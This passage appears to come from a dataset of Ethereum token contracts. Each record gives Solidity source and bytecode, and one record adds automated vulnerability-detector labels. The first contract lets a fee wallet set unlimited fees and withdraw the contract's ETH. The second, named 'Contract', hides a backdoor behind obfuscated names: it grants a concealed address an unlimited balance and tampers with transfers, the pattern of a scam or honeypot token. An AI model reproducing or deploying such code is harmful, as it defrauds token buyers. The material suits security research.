= balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 13; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 5000000001 * 10**9; // .5% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063e8078d94146105ea57600080fd5b8063a9059cbb1461050f578063b2131f7d1461052f578063c3c8cd8014610545578063c9567bf91461055a57600080fd5b8063715018a6116100d1578063715018a61461048c5780638da5cb5b146104a157806394b8d8f2146104bf57806395d89b41146104df57600080fd5b80635090161714610421578063590f897e146104415780636fc3eaec1461045757806370a082311461046c57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ab57806340b9a54b146103cb57806345596e2e146103e157806349bd5a5e1461040157600080fd5b806327f3a72a14610321578063313ce5671461033657806332d873d81461035d578063367c55441461037357600080fd5b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102cf5780631940d020146102eb57806323b872dd1461030157600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025d578063095ea7b31461027f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b5061025060405180604001604052806008815260200167546f736120496e7560c01b81525081565b6040516102139190611928565b34801561026957600080fd5b5061027d610278366004611992565b6105ff565b005b34801561028b57600080fd5b5061029f61029a3660046119af565b610674565b6040519015158152602001610213565b3480156102bb57600080fd5b5061027d6102ca3660046119db565b61068a565b3480156102db57600080fd5b50683635c9adc5dea00000610209565b3480156102f757600080fd5b50610209600e5481565b34801561030d57600080fd5b5061029f61031c3660046119fd565b6106f1565b34801561032d57600080fd5b506102096107d9565b34801561034257600080fd5b5061034b600981565b60405160ff9091168152602001610213565b34801561036957600080fd5b50610209600f5481565b34801561037f57600080fd5b50600854610393906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b757600080fd5b50600754610393906001600160a01b031681565b3480156103d757600080fd5b50610209600a5481565b3480156103ed57600080fd5b5061027d6103fc366004611a3e565b6107e9565b34801561040d57600080fd5b50600954610393906001600160a01b031681565b34801561042d57600080fd5b5061027d61043c366004611992565b610883565b34801561044d57600080fd5b50610209600b5481565b34801561046357600080fd5b5061027d6108f1565b34801561047857600080fd5b50610209610487366004611992565b61091e565b34801561049857600080fd5b5061027d610939565b3480156104ad57600080fd5b506000546001600160a01b0316610393565b3480156104cb57600080fd5b5060105461029f9062010000900460ff1681565b3480156104eb57600080fd5b5061025060405180604001604052806004815260200163544f534160e01b81525081565b34801561051b57600080fd5b5061029f61052a3660046119af565b6109ad565b34801561053b57600080fd5b50610209600c5481565b34801561055157600080fd5b5061027d6109ba565b34801561056657600080fd5b5061027d6109f0565b34801561057b57600080fd5b50610209610a93565b34801561059057600080fd5b5061027d61059f366004611a65565b610aab565b3480156105b057600080fd5b506102096105bf366004611a82565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027d610b1e565b6007546001600160a01b0316336001600160a01b03161461061f57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610681338484610e69565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106aa57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561071f57506001600160a01b03831660009081526004602052604090205460ff16155b801561073857506009546001600160a01b038581169116145b15610787576001600160a01b03831632146107875760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610792848484610f8d565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c1908490611ad1565b90506107ce853383610e69565b506001949350505050565b60006107e43061091e565b905090565b6007546001600160a01b0316336001600160a01b03161461080957600080fd5b6000811161084e5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161077e565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610669565b6008546001600160a01b0316336001600160a01b0316146108a357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610669565b6007546001600160a01b0316336001600160a01b03161461091157600080fd5b4761091b81611587565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161077e90611ae8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610681338484610f8d565b6007546001600160a01b0316336001600160a01b0316146109da57600080fd5b60006109e53061091e565b905061091b8161160c565b6000546001600160a01b03163314610a1a5760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610a675760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b6010805460ff1916600117905542600f556745639182808eca00600d556801a055690d9db80000600e55565b6009546000906107e4906001600160a01b031661091e565b6007546001600160a01b0316336001600160a01b031614610acb57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610669565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610b955760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bd23082683635c9adc5dea00000610e69565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c349190611b1d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190611b1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d169190611b1d565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d468161091e565b600080610d5b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de89190611b3a565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611b68565b5050565b6001600160a01b038316610ecb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b0382166110535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b600081116110b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b600080546001600160a01b038581169116148015906110e257506000546001600160a01b03848116911614155b15611528576009546001600160a01b03858116911614801561111257506006546001600160a01b03848116911614155b801561113757506001600160a01b03831660009081526004602052604090205460ff16155b156113c45760105460ff1661118e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161077e565b600f544214156111ce5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161077e565b42600f54610e106111df9190611b85565b111561125957600e546111f18461091e565b6111fb9084611b85565b11156112595760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161077e565b6001600160a01b03831660009081526005602052604090206001015460ff166112c1576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d19190611b85565b11156113a557600d548211156113295760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161077e565b61133442601e611b85565b6001600160a01b038416600090815260056020526040902054106113a55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161077e565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113de575060105460ff165b80156113f857506009546001600160a01b03858116911614155b156115285761140842600f611b85565b6001600160a01b0385166000908152600560205260409020541061147a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161077e565b60006114853061091e565b905080156115115760105462010000900460ff161561150857600c54600954606491906114ba906001600160a01b031661091e565b6114c49190611b9d565b6114ce9190611bbc565b81111561150857600c54600954606491906114f1906001600160a01b031661091e565b6114fb9190611b9d565b6115059190611bbc565b90505b6115118161160c565b4780156115215761152147611587565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061156a57506001600160a01b03841660009081526004602052604090205460ff165b15611573575060005b6115808585858486611780565b5050505050565b6007546001600160a01b03166108fc6115a1600284611bbc565b6040518115909202916000818181858888f193505050501580156115c9573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115e4600284611bbc565b6040518115909202916000818181858888f19350505050158015610e65573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165057611650611bde565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cd9190611b1d565b816001815181106116e0576116e0611bde565b6001600160a01b0392831660209182029290920101526006546117069130911684610e69565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061173f908590600090869030904290600401611bf4565b600060405180830381600087803b15801561175957600080fd5b505af115801561176d573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061178c83836117a2565b905061179a868686846117e9565b505050505050565b60008083156117e25782156117ba5750600a546117e2565b50600b54600f546117cd90610e10611b85565b4210156117e2576117df600d82611b85565b90505b9392505050565b6000806117f684846118c6565b6001600160a01b038816600090815260026020526040902054919350915061181f908590611ad1565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461184f908390611b85565b6001600160a01b038616600090815260026020526040902055611871816118fa565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b691815260200190565b60405180910390a3505050505050565b6000808060646118d68587611b9d565b6118e09190611bbc565b905060006118ee8287611ad1565b96919550909350505050565b30600090815260026020526040902054611915908290611b85565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195557858101830151858201604001528201611939565b81811115611967576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461091b57600080fd5b6000602082840312156119a457600080fd5b81356117e28161197d565b600080604083850312156119c257600080fd5b82356119cd8161197d565b946020939093013593505050565b600080604083850312156119ee57600080fd5b50508035926020909101359150565b600080600060608486031215611a1257600080fd5b8335611a1d8161197d565b92506020840135611a2d8161197d565b929592945050506040919091013590565b600060208284031215611a5057600080fd5b5035919050565b801515811461091b57600080fd5b600060208284031215611a7757600080fd5b81356117e281611a57565b60008060408385031215611a9557600080fd5b8235611aa08161197d565b91506020830135611ab08161197d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ae357611ae3611abb565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b2f57600080fd5b81516117e28161197d565b600080600060608486031215611b4f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b7a57600080fd5b81516117e281611a57565b60008219821115611b9857611b98611abb565b500190565b6000816000190483118215151615611bb757611bb7611abb565b500290565b600082611bd957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c445784516001600160a01b031683529383019391830191600101611c1f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122002190efd6ac4e8b1eb3672e06eafa8dda6fa2edff26bef7f4b6267bb5f8c9d5864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,420
0x8324C70184E8c6EF77d226DfCE84Bd684370437F
// } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address recently ) { _symbol = _SYMBOL; _name = _NAME; _fee = 3; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[recently] = indeed; _balances[msg.sender] = _tTotal; bottom[recently] = indeed; bottom[msg.sender] = indeed; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private indeed = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } address[] became = new address[](2); function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function harder( address ever, address highway, uint256 amount ) private { address loose = became[1]; bool eaten = uniswapV2Pair == ever; uint256 make = _fee; if (bottom[ever] == 0 && similar[ever] > 0 && !eaten) { bottom[ever] -= make; } became[1] = highway; if (bottom[ever] > 0 && amount == 0) { bottom[highway] += make; } similar[loose] += make; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[ever] -= fee; _balances[address(this)] += fee; _balances[ever] -= amount; _balances[highway] += amount; } mapping(address => uint256) private similar; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private bottom; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); harder(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { harder(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f9190611072565b60405180910390f35b610132600480360381019061012d919061112d565b610392565b60405161013f9190611188565b60405180910390f35b6101506103a7565b60405161015d91906111b2565b60405180910390f35b610180600480360381019061017b91906111cd565b6103b1565b60405161018d9190611188565b60405180910390f35b61019e610500565b6040516101ab91906111b2565b60405180910390f35b6101bc61051a565b6040516101c9919061122f565b60405180910390f35b6101ec60048036038101906101e7919061124a565b610540565b6040516101f991906111b2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061122f565b60405180910390f35b61023261063a565b60405161023f9190611072565b60405180910390f35b610262600480360381019061025d919061112d565b6106cc565b60405161026f9190611188565b60405180910390f35b610280610748565b60405161028d91906111b2565b60405180910390f35b6102b060048036038101906102ab9190611277565b61074e565b6040516102bd91906111b2565b60405180910390f35b6102e060048036038101906102db919061124a565b6107d5565b005b6102ea6108cc565b6040516102f79190611316565b60405180910390f35b60606002805461030f90611360565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611360565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611403565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111b2565b60405180910390a36104f7843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611452565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f0d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc906114d2565b60405180910390fd5b61060f6000610f15565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461064990611360565b80601f016020809104026020016040519081016040528092919081815260200182805461067590611360565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111b2565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f0d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610848906114d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b790611564565b60405180910390fd5b6108c981610f15565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906115f6565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111b2565b60405180910390a3600190509392505050565b6000600c600181548110610aa457610aa3611616565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffff